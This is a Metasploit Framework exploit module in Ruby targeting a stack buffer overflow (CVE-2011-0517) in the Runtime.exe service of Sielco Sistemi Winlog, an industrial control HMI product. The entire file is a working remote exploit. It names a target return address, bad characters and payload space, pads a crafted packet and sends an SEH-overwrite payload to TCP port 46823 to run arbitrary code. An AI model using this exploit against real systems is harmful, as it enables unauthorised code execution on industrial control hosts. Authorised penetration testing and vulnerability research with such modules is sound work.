##
# $Id: winlog_runtime.rb 13000 2011-06-21 22:42:53Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Sielco Sistemi Winlog Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in Sielco
    Sistem Winlog <= 2.07.00. When sending a specially formatted
    packet to the Runtime.exe service, an attacker may be able to
    execute arbitrary code.
   },
   'Author'         => [ 'Luigi Auriemma', 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 13000 $',
   'References'     =>
    [
     [ 'CVE', '2011-0517' ],
     [ 'OSVDB', '70418'],
     [ 'URL', 'http://aluigi.org/adv/winlog_1-adv.txt' ],
    ],
   'Privileged'     => false,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'    => 450,
     'BadChars' => "\x00\x20\x0a\x0d",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Winlog Lite 2.07.00', { 'Ret' => 0x011946de } ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Jan 13 2011'))

  register_options([Opt::RPORT(46823)], self.class)
 end

 def exploit

  connect

  data =  [0x02].pack('C') # opcode
  data << [0x0101].pack('n')
  data << rand_text_alpha_upper(588)
  data << generate_seh_payload(target.ret)

  print_status("Trying target #{target.name}...")
  sock.put(data)

  handler
  disconnect

 end

end